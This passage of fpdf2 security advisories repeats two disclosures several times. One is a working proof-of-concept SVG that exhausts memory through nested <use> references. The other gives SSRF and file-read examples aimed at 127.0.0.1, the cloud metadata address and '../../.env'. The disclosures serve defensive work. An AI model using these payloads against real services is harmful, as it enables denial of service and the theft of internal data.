    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()